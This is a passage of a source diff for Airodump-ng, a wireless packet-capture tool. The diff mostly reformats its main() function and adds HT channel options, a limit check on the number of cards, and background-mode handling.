-    						G.output_format_kismet_netxml = 0;
+							G.output_format_kismet_netxml = 0;
 
-							G.usegpsd  = 0;
+							G.usegpsd = 0;
 							ivs_only = 0;
-						} else {
+						}
+						else
+						{
 							// Display an error if it does not match any value
-							fprintf(stderr, "Invalid output format: <%s>\n", output_format_string);
+							fprintf(stderr,
+									"Invalid output format: <%s>\n",
+									output_format_string);
 							exit(1);
 						}
 					}
@@ -6727,719 +7770,777 @@
 
 				break;
 
-            case 'H':
+			case 'H':
 
-                printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-                return( 1 );
+				printf(usage,
+					   getVersion("Airodump-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (1);
 
-            case 'x':
+			case 'x':
 
-                G.active_scan_sim = atoi(optarg);
+				G.active_scan_sim = atoi(optarg);
+
+				if (G.active_scan_sim <= 0) G.active_scan_sim = 0;
+				break;
+
+			case '2':
+#ifndef CONFIG_LIBNL
+				printf("HT Channel unsupported\n");
+				return EXIT_FAILURE;
+#else
+				G.htval = CHANNEL_HT20;
+#endif
+				break;
+			case '3':
+#ifndef CONFIG_LIBNL
+				printf("HT Channel unsupported\n");
+				return EXIT_FAILURE;
+#else
+				G.htval = CHANNEL_HT40_MINUS;
+#endif
+				break;
+			case '5':
+#ifndef CONFIG_LIBNL
+				printf("HT Channel unsupported\n");
+				return EXIT_FAILURE;
+#else
+				G.htval = CHANNEL_HT40_PLUS;
+#endif
+				break;
+
+			default:
+				goto usage;
+		}
+	} while (1);
+
+	if (argc - optind != 1 && G.s_file == NULL)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(usage,
+				   getVersion("Airodump-ng",
+							  _MAJ,
+							  _MIN,
+							  _SUB_MIN,
+							  _REVISION,
+							  _BETA,
+							  _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (1);
+	}
+
+	if (argc - optind == 1) G.s_iface = argv[argc - 1];
+
+	if ((memcmp(G.f_netmask, NULL_MAC, 6) != 0)
+		&& (memcmp(G.f_bssid, NULL_MAC, 6) == 0))
+	{
+		printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
 
-                if (G.active_scan_sim <= 0)
-                    G.active_scan_sim = 0;
-                break;
-
-            default : goto usage;
-        }
-    } while ( 1 );
-
-    if( argc - optind != 1 && G.s_file == NULL)
-    {
-        if(argc == 1)
-        {
-usage:
-            printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-        }
-        if( argc - optind == 0)
-        {
-            printf("No interface specified.\n");
-        }
-        if(argc > 1)
-        {
-            printf("\"%s --help\" for help.\n", argv[0]);
-        }
-        return( 1 );
-    }
-
-    if( argc - optind == 1 )
-        G.s_iface = argv[argc-1];
-
-    if( ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(G.f_bssid, NULL_MAC, 6) == 0 ) )
-    {
-        printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
-        printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
-
-    if (G.show_wps && G.show_manufacturer)
-        G.maxsize_essid_seen += G.maxsize_wps_seen;
-
-    if(G.s_iface != NULL)
-    {
-        /* initialize cards */
-        G.num_cards = init_cards(G.s_iface, iface, wi);
-
-        if(G.num_cards <= 0)
-            return( 1 );
-
-        for (i = 0; i < G.num_cards; i++) {
-            fd_raw[i] = wi_fd(wi[i]);
-            if (fd_raw[i] > fdh)
-                fdh = fd_raw[i];
-        }
-
-        if(G.freqoption == 1 && G.freqstring != NULL) // use frequencies
-        {
-            detect_frequencies(wi[0]);
-            G.frequency[0] = getfrequencies(G.freqstring);
-            if(G.frequency[0] == -1)
-            {
-                printf("No valid frequency given.\n");
-                return(1);
-            }
-
-//             printf("gonna rearrange\n");
-            rearrange_frequencies();
-//             printf("finished rearranging\n");
-
-            freq_count = getfreqcount(0);
-
-            /* find the interface index */
-            /* start a child to hop between frequencies */
-
-            if( G.frequency[0] == 0 )
-            {
-                unused = pipe( G.ch_pipe );
-                unused = pipe( G.cd_pipe );
-
-                signal( SIGUSR1, sighandler );
-
-                if( ! fork() )
-                {
-                    /* reopen cards.  This way parent & child don't share resources for
-                    * accessing the card (e.g. file descriptors) which may cause
-                    * problems.  -sorbo
-                    */
-                    for (i = 0; i < G.num_cards; i++) {
-                        strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1);
-                        ifnam[sizeof(ifnam)-1] = 0;
-
-                        wi_close(wi[i]);
-                        wi[i] = wi_open(ifnam);
-                        if (!wi[i]) {
-                                printf("Can't reopen %s\n", ifnam);
-                                exit(1);
-                        }
-                    }
+	if (G.show_wps && G.show_manufacturer)
+		G.maxsize_essid_seen += G.maxsize_wps_seen;
+
+	if (G.s_iface != NULL)
+	{
+		/* initialize cards */
+		G.num_cards = init_cards(G.s_iface, iface, wi);
+
+		if (G.num_cards <= 0 || G.num_cards >= MAX_CARDS)
+		{
+			printf("Failed initializing wireless card(s): %s\n", G.s_iface);
+			return EXIT_FAILURE;
+		}
+
+		for (i = 0; i < G.num_cards; i++)
+		{
+			fd_raw[i] = wi_fd(wi[i]);
+			if (fd_raw[i] > fdh) fdh = fd_raw[i];
+		}
+
+		if (G.freqoption == 1 && G.freqstring != NULL) // use frequencies
+		{
+			detect_frequencies(wi[0]);
+			G.frequency[0] = getfrequencies(G.freqstring);
+			if (G.frequency[0] == -1)
+			{
+				printf("No valid frequency given.\n");
+				return (1);
+			}
+
+			//             printf("gonna rearrange\n");
+			rearrange_frequencies();
+			//             printf("finished rearranging\n");
+
+			freq_count = getfreqcount(0);
+
+			/* find the interface index */
+			/* start a child to hop between frequencies */
+
+			if (G.frequency[0] == 0)
+			{
+				unused = pipe(G.ch_pipe);
+				unused = pipe(G.cd_pipe);
+
+				signal(SIGUSR1, sighandler);
+
+				if (!fork())
+				{
+					/* reopen cards.  This way parent & child don't share
+					* resources for
+					* accessing the card (e.g. file descriptors) which may cause
+					* problems.  -sorbo
+					*/
+					for (i = 0; i < G.num_cards; i++)
+					{
+						strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam) - 1);
+						ifnam[sizeof(ifnam) - 1] = 0;
+
+						wi_close(wi[i]);
+						wi[i] = wi_open(ifnam);
+						if (!wi[i])
+						{
+							printf("Can't reopen %s\n", ifnam);
+							exit(1);
+						}
+					}
 
 					/* Drop privileges */
-					if (setuid( getuid() ) == -1) {
+					if (setuid(getuid()) == -1)
+					{
 						perror("setuid");
 					}
 
-                    frequency_hopper(wi, G.num_cards, freq_count, main_pid);
-                    exit( 1 );
-                }
-            }
-            else
-            {
-                for( i=0; i<G.num_cards; i++ )
-                {
-                    wi_set_freq(wi[i], G.frequency[0]);
-                    G.frequency[i] = G.frequency[0];
-                }
-                G.singlefreq = 1;
-            }
-        }
-        else    //use channels
-        {
-            chan_count = getchancount(0);
-
-            /* find the interface index */
-            /* start a child to hop between channels */
-
-            if( G.channel[0] == 0 )
-            {
-                unused = pipe( G.ch_pipe );
-                unused = pipe( G.cd_pipe );
-
-                signal( SIGUSR1, sighandler );
-
-                if( ! fork() )
-                {
-                    /* reopen cards.  This way parent & child don't share resources for
-                    * accessing the card (e.g. file descriptors) which may cause
-                    * problems.  -sorbo
-                    */
-                    for (i = 0; i < G.num_cards; i++) {
-                        strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1);
-                        ifnam[sizeof(ifnam)-1] = 0;
-
-                        wi_close(wi[i]);
-                        wi[i] = wi_open(ifnam);
-                        if (!wi[i]) {
-                                printf("Can't reopen %s\n", ifnam);
-                                exit(1);
-                        }
-                    }
+					frequency_hopper(wi, G.num_cards, freq_count, main_pid);
+					exit(1);
+				}
+			}
+			else
+			{
+				for (i = 0; i < G.num_cards; i++)
+				{
+					wi_set_freq(wi[i], G.frequency[0]);
+					G.frequency[i] = G.frequency[0];
+				}
+				G.singlefreq = 1;
+			}
+		}
+		else // use channels
+		{
+			chan_count = getchancount(0);
+
+			/* find the interface index */
+			/* start a child to hop between channels */
+
+			if (G.channel[0] == 0)
+			{
+				unused = pipe(G.ch_pipe);
+				unused = pipe(G.cd_pipe);
+
+				signal(SIGUSR1, sighandler);
+
+				if (!fork())
+				{
+					/* reopen cards.  This way parent & child don't share
+					* resources for
+					* accessing the card (e.g. file descriptors) which may cause
+					* problems.  -sorbo
+					*/
+					for (i = 0; i < G.num_cards; i++)
+					{
+						strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam) - 1);
+						ifnam[sizeof(ifnam) - 1] = 0;
+
+						wi_close(wi[i]);
+						wi[i] = wi_open(ifnam);
+						if (!wi[i])
+						{
+							printf("Can't reopen %s\n", ifnam);
+							exit(1);
+						}
+					}
 
 					/* Drop privileges */
-					if (setuid( getuid() ) == -1) {
+					if (setuid(getuid()) == -1)
+					{
 						perror("setuid");
 					}
 
-                    channel_hopper(wi, G.num_cards, chan_count, main_pid);
-                    exit( 1 );
-                }
-            }
-            else
-            {
-                for( i=0; i<G.num_cards; i++ )
-                {
-                    wi_set_channel(wi[i], G.channel[0]);
-                    G.channel[i] = G.channel[0];
-                }
-                G.singlechan = 1;
-            }
-        }
-    }
+					channel_hopper(wi, G.num_cards, chan_count, main_pid);
+					exit(1);
+				}
+			}
+			else
+			{
+				for (i = 0; i < G.num_cards; i++)
+				{
+#ifdef CONFIG_LIBNL
+					wi_set_ht_channel(wi[i], G.channel[0], G.htval);
+#else
+					wi_set_channel(wi[i], G.channel[0]);
+#endif
+					G.channel[i] = G.channel[0];
+				}
+				G.singlechan = 1;
+			}
+		}
+	}
 
 	/* Drop privileges */
-	if (setuid( getuid() ) == -1) {
+	if (setuid(getuid()) == -1)
+	{
 		perror("setuid");
 	}
 
-    /* check if there is an input file */
-    if( G.s_file != NULL )
-    {
-        if( ! ( G.f_cap_in = fopen( G.s_file, "rb" ) ) )
-        {
-            perror( "open failed" );
-            return( 1 );
-        }
-
-        n = sizeof( struct pcap_file_header );
-
-        if( fread( &G.pfh_in, 1, n, G.f_cap_in ) != (size_t) n )
-        {
-            perror( "fread(pcap file header) failed" );
-            return( 1 );
-        }
-
-        if( G.pfh_in.magic != TCPDUMP_MAGIC &&
-            G.pfh_in.magic != TCPDUMP_CIGAM )
-        {
-            fprintf( stderr, "\"%s\" isn't a pcap file (expected "
-                             "TCPDUMP_MAGIC).\n", G.s_file );
-            return( 1 );
-        }
-
-        if( G.pfh_in.magic == TCPDUMP_CIGAM )
-            SWAP32(G.pfh_in.linktype);
-
-        if( G.pfh_in.linktype != LINKTYPE_IEEE802_11 &&
-            G.pfh_in.linktype != LINKTYPE_PRISM_HEADER &&
-            G.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR &&
-            G.pfh_in.linktype != LINKTYPE_PPI_HDR )
-        {
-            fprintf( stderr, "Wrong linktype from pcap file header "
-                             "(expected LINKTYPE_IEEE802_11) -\n"
-                             "this doesn't look like a regular 802.11 "
-                             "capture.\n" );
-            return( 1 );
-        }
-    }
-
-    /* open or create the output files */
-
-    if (G.record_data)
-    	if( dump_initialize( G.dump_prefix, ivs_only ) )
-    	    return( 1 );
-
-    signal( SIGINT,   sighandler );
-    signal( SIGSEGV,  sighandler );
-    signal( SIGTERM,  sighandler );
-    signal( SIGWINCH, sighandler );
-
-    sighandler( SIGWINCH );
-
-    /* fill oui struct if ram is greater than 32 MB */
-    if (get_ram_size()  > MIN_RAM_SIZE_LOAD_OUI_RAM) {
-        G.manufList = load_oui_file();
-	}
-
-    /* start the GPS tracker */
-
-    if (G.usegpsd)
-    {
-        unused = pipe( G.gc_pipe );
-        signal( SIGUSR2, sighandler );
-
-        if( ! fork() )
-        {
-            gps_tracker(main_pid);
-            exit( 1 );
-        }
-
-        usleep( 50000 );
-        waitpid( -1, NULL, WNOHANG );
-    }
-
-    fprintf( stderr, "\33[?25l\33[2J\n" );
-
-    start_time = time( NULL );
-    tt1        = time( NULL );
-    tt2        = time( NULL );
-    tt3        = time( NULL );
-    gettimeofday( &tv3, NULL );
-    gettimeofday( &tv4, NULL );
-
-    G.batt     = getBatteryString();
-
-    G.elapsed_time = (char *) calloc( 1, 4 );
-    if(G.elapsed_time == NULL)
-    {
-        perror( "Error allocating memory" );
-        return 1;
-    }
-    strncpy(G.elapsed_time, "0 s", 4 - 1);
-    G.elapsed_time[strlen(G.elapsed_time)] = 0;
+	/* check if there is an input file */
+	if (G.s_file != NULL)
+	{
+		if (!(G.f_cap_in = fopen(G.s_file, "rb")))
+		{
+			perror("open failed");
+			return (1);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&G.pfh_in, 1, n, G.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (1);
+		}
+
+		if (G.pfh_in.magic != TCPDUMP_MAGIC && G.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					G.s_file);
+			return (1);
+		}
+
+		if (G.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(G.pfh_in.linktype);
+
+		if (G.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& G.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& G.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& G.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (1);
+		}
+	}
+
+	/* open or create the output files */
+
+	if (G.record_data)
+		if (dump_initialize(G.dump_prefix, ivs_only)) return (1);
+
+	signal(SIGINT, sighandler);
+	signal(SIGSEGV, sighandler);
+	signal(SIGTERM, sighandler);
+	signal(SIGWINCH, sighandler);
+
+	sighandler(SIGWINCH);
+
+	/* fill oui struct if ram is greater than 32 MB */
+	if (get_ram_size() > MIN_RAM_SIZE_LOAD_OUI_RAM)
+	{
+		G.manufList = load_oui_file();
+	}
+
+	/* start the GPS tracker */
+
+	if (G.usegpsd)
+	{
+		unused = pipe(G.gc_pipe);
+		signal(SIGUSR2, sighandler);
+
+		if (!fork())
+		{
+			gps_tracker(main_pid);
+			exit(1);
+		}
+
+		usleep(50000);
+		waitpid(-1, NULL, WNOHANG);
+	}
+
+	hide_cursor();
+	erase_display(2);
+
+	start_time = time(NULL);
+	tt1 = time(NULL);
+	tt2 = time(NULL);
+	tt3 = time(NULL);
+	gettimeofday(&tv3, NULL);
+	gettimeofday(&tv4, NULL);
+
+	G.batt = getBatteryString();
+
+	G.elapsed_time = (char *) calloc(1, 4);
+	if (G.elapsed_time == NULL)
+	{
+		perror("Error allocating memory");
+		return 1;
+	}
+	strncpy(G.elapsed_time, "0 s", 4);
+	G.elapsed_time[strlen(G.elapsed_time)] = 0;
 
 	/* Create start time string for kismet netxml file */
-    G.airodump_start_time = (char *) calloc( 1, 1000 * sizeof(char) );
-    strncpy(G.airodump_start_time, ctime( & start_time ), 1000 - 1);
-    G.airodump_start_time[strlen(G.airodump_start_time) - 1] = 0; // remove new line
-    G.airodump_start_time = (char *) realloc( G.airodump_start_time, sizeof(char) * (strlen(G.airodump_start_time) + 1) );
-
-    if( pthread_create( &(G.input_tid), NULL, (void *) input_thread, NULL ) != 0 )
-    {
-	perror( "pthread_create failed" );
-	return 1;
-    }
+	G.airodump_start_time = (char *) calloc(1, 1000 * sizeof(char));
+	strncpy(G.airodump_start_time, ctime(&start_time), 1000 - 1);
+	G.airodump_start_time[strlen(G.airodump_start_time) - 1]
+		= 0; // remove new line
+	G.airodump_start_time
+		= (char *) realloc(G.airodump_start_time,
+						   sizeof(char) * (strlen(G.airodump_start_time) + 1));
+
+	// Do not start the interactive mode input thread if running in the
+	// background
+	if (G.background_mode == -1) G.background_mode = is_background();
+
+	if (!G.background_mode
+		&& pthread_create(&(G.input_tid), NULL, (void *) input_thread, NULL)
+			   != 0)
+	{
+		perror("pthread_create failed");
+		return 1;
+	}
+
+	while (1)
+	{
+		if (G.do_exit)
+		{
+			break;
+		}
 
+		if (time(NULL) - tt1 >= G.file_write_interval)
+		{
+			/* update the text output files */
 
-    while( 1 )
-    {
-        if( G.do_exit )
-        {
-            break;
-        }
-
-        if( time( NULL ) - tt1 >= G.file_write_interval )
-        {
-            /* update the text output files */
-
-            tt1 = time( NULL );
-            if (G. output_format_csv)  dump_write_csv();
-            if (G.output_format_kismet_csv) dump_write_kismet_csv();
-            if (G.output_format_kismet_netxml) dump_write_kismet_netxml();
-        }
-
-        if( time( NULL ) - tt2 > 5 )
-        {
-        	if( G.sort_by != SORT_BY_NOTHING) {
+			tt1 = time(NULL);
+			if (G.output_format_csv) dump_write_csv();
+			if (G.output_format_kismet_csv) dump_write_kismet_csv();
+			if (G.output_format_kismet_netxml) dump_write_kismet_netxml();
+		}
+
+		if (time(NULL) - tt2 > 5)
+		{
+			if (G.sort_by != SORT_BY_NOTHING)
+			{
 				/* sort the APs by power */
-				pthread_mutex_lock( &(G.mx_sort) );
+				pthread_mutex_lock(&(G.mx_sort));
 				dump_sort();
-				pthread_mutex_unlock( &(G.mx_sort) );
-        	}
+				pthread_mutex_unlock(&(G.mx_sort));
+			}
+
+			/* update the battery state */
+			free(G.batt);
+			G.batt = NULL;
+
+			tt2 = time(NULL);
+			G.batt = getBatteryString();
+
+			/* update elapsed time */
+
+			free(G.elapsed_time);
+			G.elapsed_time = NULL;
+			G.elapsed_time = getStringTimeFromSec(difftime(tt2, start_time));
 
-            /* update the battery state */
-            free(G.batt);
-            G.batt = NULL;
-
-            tt2 = time( NULL );
-            G.batt = getBatteryString();
-
-            /* update elapsed time */
-
-            free(G.elapsed_time);
-            G.elapsed_time=NULL;
-            G.elapsed_time = getStringTimeFromSec(
-            difftime(tt2, start_time) );
-
-
-            /* flush the output files */
-
-            if( G.f_cap != NULL ) fflush( G.f_cap );
-            if( G.f_ivs != NULL ) fflush( G.f_ivs );
-        }
-
-        gettimeofday( &tv1, NULL );
-
-        cycle_time = 1000000UL * ( tv1.tv_sec  - tv3.tv_sec  )
-                             + ( tv1.tv_usec - tv3.tv_usec );
-
-        cycle_time2 = 1000000UL * ( tv1.tv_sec  - tv4.tv_sec  )
-                              + ( tv1.tv_usec - tv4.tv_usec );
-
-        if( G.active_scan_sim > 0 && cycle_time2 > G.active_scan_sim*1000 )
-        {
-            gettimeofday( &tv4, NULL );
-            send_probe_requests(wi, G.num_cards);
-        }
-
-        if( cycle_time > 500000 )
-        {
-            gettimeofday( &tv3, NULL );
-            update_rx_quality( );
-            if(G.s_iface != NULL)
-            {
-                check_monitor(wi, fd_raw, &fdh, G.num_cards);
-                if(G.singlechan)
-                    check_channel(wi, G.num_cards);
-                if(G.singlefreq)
-                    check_frequency(wi, G.num_cards);
-            }
-        }
-
-        if(G.s_file != NULL)
-        {
-            /* Read one packet */
-            n = sizeof( pkh );
-
-            if( fread( &pkh, n, 1, G.f_cap_in ) != 1 )
-            {
-                memset(G.message, '\x00', sizeof(G.message));
-                snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file);
-                G.s_file = NULL;
-                continue;
-            }
-
-            if( G.pfh_in.magic == TCPDUMP_CIGAM ) {
-                SWAP32( pkh.caplen );
-                SWAP32( pkh.len );
-            }
-
-            n = caplen = pkh.caplen;
-
-            memset(buffer, 0, sizeof(buffer));
-            h80211 = buffer;
-
-            if( n <= 0 || n > (int) sizeof( buffer ) )
-            {
-                memset(G.message, '\x00', sizeof(G.message));
-                snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file);
-                G.s_file = NULL;
-                continue;
-            }
-
-            if( fread( h80211, n, 1, G.f_cap_in ) != 1 )
-            {
-                memset(G.message, '\x00', sizeof(G.message));
-                snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file);
-                G.s_file = NULL;
-                continue;
-            }
-
-            if( G.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
-            {
-                if( h80211[7] == 0x40 )
-                    n = 64;
-                else
-                    n = *(int *)( h80211 + 4 );
-
-                if( n < 8 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( G.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
-            {
-                /* remove the radiotap header */
-
-                n = *(unsigned short *)( h80211 + 2 );
-
-                if( n <= 0 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( G.pfh_in.linktype == LINKTYPE_PPI_HDR )
-            {
-                /* remove the PPI header */
-
-                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                /* for a while Kismet logged broken PPI headers */
-                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-                    n = 32;
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            read_pkts++;
-
-            if(read_pkts%10 == 0)
-                usleep(1);
-        }
-        else if(G.s_iface != NULL)
-        {
-            /* capture one packet */
-
-            FD_ZERO( &rfds );
-            for(i=0; i<G.num_cards; i++)
-            {
-                FD_SET( fd_raw[i], &rfds );
-            }
-
-            tv0.tv_sec  = G.update_s;
-            tv0.tv_usec = (G.update_s == 0) ? REFRESH_RATE : 0;
-
-            gettimeofday( &tv1, NULL );
-
-            if( select( fdh + 1, &rfds, NULL, NULL, &tv0 ) < 0 )
-            {
-                if( errno == EINTR )
-                {
-                    gettimeofday( &tv2, NULL );
-
-                    time_slept += 1000000UL * ( tv2.tv_sec  - tv1.tv_sec  )
-                                        + ( tv2.tv_usec - tv1.tv_usec );
-
-                    continue;
-                }
-                perror( "select failed" );
-
-                /* Restore terminal */
-                fprintf( stderr, "\33[?25h" );
-                fflush( stdout );
-
-                return( 1 );
-            }
-        }
-        else
-            usleep(1);
-
-        gettimeofday( &tv2, NULL );
-
-        time_slept += 1000000UL * ( tv2.tv_sec  - tv1.tv_sec  )
-                              + ( tv2.tv_usec - tv1.tv_usec );
-
-        if( time_slept > REFRESH_RATE && time_slept > G.update_s * 1000000)
-        {
-            time_slept = 0;
-
-            update_dataps();
-
-            /* update the window size */
-
-            if( ioctl( 0, TIOCGWINSZ, &(G.ws) ) < 0 )
-            {
-                G.ws.ws_row = 50;
-                G.ws.ws_col = 120;
-            }
-
-            if( G.ws.ws_col <   1 ) G.ws.ws_col =   1;
-            if( G.ws.ws_col > 300 ) G.ws.ws_col = 300;
-
-            /* display the list of access points we have */
-
-	    if(!G.do_pause) {
-		pthread_mutex_lock( &(G.mx_print) );
-
-		    fprintf( stderr, "\33[1;1H" );
-		    dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards );
-		    fprintf( stderr, "\33[J" );
-		    fflush( stdout );
-
-		pthread_mutex_unlock( &(G.mx_print) );
-	    }
-            continue;
-        }
-
-        if(G.s_file == NULL && G.s_iface != NULL)
-        {
-            fd_is_set = 0;
-
-            for(i=0; i<G.num_cards; i++)
-            {
-                if( FD_ISSET( fd_raw[i], &rfds ) )
-                {
-
-                    memset(buffer, 0, sizeof(buffer));
-                    h80211 = buffer;
-                    if ((caplen = wi_read(wi[i], h80211, sizeof(buffer), &ri)) == -1) {
-                        wi_read_failed++;
-                        if(wi_read_failed > 1)
-                        {
-                            G.do_exit = 1;
-                            break;
-                        }
-                        memset(G.message, '\x00', sizeof(G.message));
-                        snprintf(G.message, sizeof(G.message), "][ interface %s down ", wi_get_ifname(wi[i]));
-
-                        //reopen in monitor mode
-
-                        strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1);
-                        ifnam[sizeof(ifnam)-1] = 0;
-
-                        wi_close(wi[i]);
-                        wi[i] = wi_open(ifnam);
-                        if (!wi[i]) {
-                            printf("Can't reopen %s\n", ifnam);
-
-                            /* Restore terminal */
-                            fprintf( stderr, "\33[?25h" );
-                            fflush( stdout );
-
-                            exit(1);
-                        }
-
-                        fd_raw[i] = wi_fd(wi[i]);
-                        if (fd_raw[i] > fdh)
-                            fdh = fd_raw[i];
-
-                        break;
-//                         return 1;
-                    }
-
-                    read_pkts++;
-
-                    wi_read_failed = 0;
-                    dump_add_packet( h80211, caplen, &ri, i );
-                }
-            }
-        }
-        else if (G.s_file != NULL)
-        {
-            dump_add_packet( h80211, caplen, &ri, i );
-        }
-    }
-
-    if(G.batt)
-        free(G.batt);
-
-    if(G.elapsed_time)
-        free(G.elapsed_time);
-
-    if(G.own_channels)
-        free(G.own_channels);
-
-    if(G.f_essid)
-        free(G.f_essid);
+			/* flush the output files */
 
-    if(G.prefix)
-        free(G.prefix);
+			if (G.f_cap != NULL) fflush(G.f_cap);
+			if (G.f_ivs != NULL) fflush(G.f_ivs);
+		}
+
+		gettimeofday(&tv1, NULL);
+
+		cycle_time = 1000000UL * (tv1.tv_sec - tv3.tv_sec)
+					 + (tv1.tv_usec - tv3.tv_usec);
 
-    if(G.f_cap_name)
-        free(G.f_cap_name);
+		cycle_time2 = 1000000UL * (tv1.tv_sec - tv4.tv_sec)
+					  + (tv1.tv_usec - tv4.tv_usec);
 
-    if(G.keyout)
-        free(G.keyout);
+		if (G.active_scan_sim > 0 && cycle_time2 > G.active_scan_sim * 1000)
+		{
+			gettimeofday(&tv4, NULL);
+			send_probe_requests(wi, G.num_cards);
+		}
+
+		if (cycle_time > 500000)
+		{
+			gettimeofday(&tv3, NULL);
+			update_rx_quality();
+			if (G.s_iface != NULL)
+			{
+				check_monitor(wi, fd_raw, &fdh, G.num_cards);
+				if (G.singlechan) check_channel(wi, G.num_cards);
+				if (G.singlefreq) check_frequency(wi, G.num_cards);
+			}
+		}
+
+		if (G.s_file != NULL)
+		{
+			/* Read one packet */
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, G.f_cap_in) != 1)
+			{
+				memset(G.message, '\x00', sizeof(G.message));
+				snprintf(G.message,
+						 sizeof(G.message),
+						 "][ Finished reading input file %s.\n",
+						 G.s_file);
+				G.s_file = NULL;
+				continue;
+			}
+
+			if (G.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			n = caplen = pkh.caplen;
+
+			memset(buffer, 0, sizeof(buffer));
+			h80211 = buffer;
+
+			if (n <= 0 || n > (int) sizeof(buffer))
+			{
+				memset(G.message, '\x00', sizeof(G.message));
+				snprintf(G.message,
+						 sizeof(G.message),
+						 "][ Finished reading input file %s.\n",
+						 G.s_file);
+				G.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, G.f_cap_in) != 1)
+			{
+				memset(G.message, '\x00', sizeof(G.message));
+				snprintf(G.message,
+						 sizeof(G.message),
+						 "][ Finished reading input file %s.\n",
+						 G.s_file);
+				G.s_file = NULL;
+				continue;
+			}
+
+			if (G.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4);
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (G.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (G.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			read_pkts++;
+
+			if (read_pkts % 10 == 0) usleep(1);
+		}
+		else if (G.s_iface != NULL)
+		{
+			/* capture one packet */
+
+			FD_ZERO(&rfds);
+			for (i = 0; i < G.num_cards; i++)
+			{
+				FD_SET(fd_raw[i], &rfds);
+			}
+
+			tv0.tv_sec = G.update_s;
+			tv0.tv_usec = (G.update_s == 0) ? REFRESH_RATE : 0;
+
+			gettimeofday(&tv1, NULL);
+
+			if (select(fdh + 1, &rfds, NULL, NULL, &tv0) < 0)
+			{
+				if (errno == EINTR)
+				{
+					gettimeofday(&tv2, NULL);
+
+					time_slept += 1000000UL * (tv2.tv_sec - tv1.tv_sec)
+								  + (tv2.tv_usec - tv1.tv_usec);
+
+					continue;
+				}
+				perror("select failed");
+
+				/* Restore terminal */
+				show_cursor();
+
+				return (1);
+			}
+		}
+		else
+			usleep(1);
+
+		gettimeofday(&tv2, NULL);
+
